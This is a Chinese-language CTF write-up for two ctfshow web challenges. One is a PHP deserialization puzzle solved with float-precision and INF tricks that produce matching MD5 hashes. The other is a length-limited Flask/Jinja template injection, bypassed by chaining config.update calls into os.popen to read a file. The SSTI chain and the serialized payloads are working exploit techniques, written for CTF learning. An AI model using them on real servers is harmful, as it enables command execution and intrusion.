跳转至

ctfshow单身杯

Web

Web1(签到题)

PHP
<?php
        error_reporting(0);
        highlight_file(__FILE__);

        class ctfshow {
                private $d = '';
                private $s = '';
                private $b = '';
                private $ctf = '';

                public function __destruct() {
                        $this->d = (string)$this->d;
                        $this->s = (string)$this->s;
                        $this->b = (string)$this->b;

                        if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                                $dsb = $this->d.$this->s.$this->b;

                                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                                        if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                                                if (md5($dsb) === md5($this->ctf)) {
                                                        echo "flag";
                                                }
                                        }
                                }
                        }
                }
        }

        $dsbctf = $_GET["dsbctf"];

        unserialize(urldecode($dsbctf));

审一下代码,我们可以知道这是一道php反序列化题目

审计源码,发现在ctfshow类中只有魔术方法__destruct(),由于该方法在PHP程序执行结束后自动调用,因此只需要构造合适的payload满足__destruct()中的条件即可拿到flag。

ctfshow类中一共有4个变量,其中前三个变量$d$s$b会被强制转成字符串类型,并且这三个变量的值互不相等,满足这一条件后会将三个变量拼接起来,得到一个新的字符串变量$dsb,进入第二个if判断。

在第二个if判断中,需要满足变量$dsb$ctf的长度都不超过3,满足条件后进入第三个if判断。

在第三个if判断中,需要满足变量$dsb$ctf的值不相等,并且比较类型为强类型,因此无法通过弱类型绕过,满足条件后进入最后一个if判断。

解法一

通过double精度绕过

  • string("0.4") 和 double(0.400000000000004)进行比较时,string("0.4")转换为数字型0.4,即0.400000000000000和0.400000000000004的比较,直观看到:数据值不同,逻辑!=比较为true
  • 浮点型 double(0.4) 【0.400000000000004】在进行MD5加密时,实际加密的为0.4,即MD5(0.4)===MD5(0.4)

Payload:

PHP
<?php
    class ctfshow {
        private $d = '0';
        private $s = '.';
        private $b = '4';
        private $ctf = 0.400000000000004;
    }

    $dsbctf = new ctfshow();

    echo urlencode(serialize($dsbctf));
解法二

php特定数据类型值绕过

基于上述的条件,可以用PHP中的特殊浮点数常量NANINF来构造payload,因为将这两个常量转成字符串类型之后的md5值与原先的浮点类型md5值相等,又由于类型不相等、长度均为3,所以可以满足最后三个if判断。由于在第一个判断条件中要求变量$dsb的三个字符互不相等,因此只能取INF来构造payload

NAN:即非数,特性:和任何数据类型运算还是本身

INF:即无穷大,'2'/02/a2.0/0

Payload:

PHP
<?php
    class ctfshow {
        private $d = 'I';
        private $s = 'N';
        private $b = 'F';
        private $ctf = INF;
    }

    $dsbctf = new ctfshow();

    echo urlencode(serialize($dsbctf));

ezzz_ssti

image-20241210193351847

这是一道ssti的题目,但是对长度有限制,要求<=40个字符

这道题用到了Flask 框架中的config全局对象。config 对象实质上是一个字典的子类,可以像字典一样操作,而update方法又可以更新python中的字典。我们就可以利用 Jinja 模板的 set 语句配合字典的 update() 方法来更新 config 全局对象,将字典中的lipsum.__globals__更新为g,就可以达到在 config 全局对象中分段保存 Payload,从而绕过长度限制。

参考文章:

Python Flask SSTI 之 长度限制绕过_python绕过长度限制的内置函数-CSDN博客

记一次SSTI长度限制绕过 - 先知社区

update方法

Python
1
2
3
4
5
6
d = {'a': 1, 'b': 2, 'c': 3} 
d.update(d=4)
print(d)

'''
{'a': 1, 'b': 2, 'c': 3, 'd': 4}

借助这个方法我们可以通过对语句进行不断的拼接,从而绕过ssti的长度限制

Text Only
1
2
3
4
5
{%set x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
{%set x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
{%set x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
{%set x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /t*").read()}}     

如果还需要更短的话可以省略set

Text Only
1
2
3
4
5
{%x=config.update(a=config.update)%}   //此时字典中a的值被更新为config全局对象中的update方法
{%x=config.a(f=lipsum.__globals__)%}   //f的值被更新为lipsum.__globals__
{%x=config.a(o=config.f.os)%}          //o的值被更新为lipsum.__globals__.os
{%x=config.a(p=config.o.popen)%}       //p的值被更新为lipsum.__globals__.os.popen
{{config.p("cat /t*").read()}}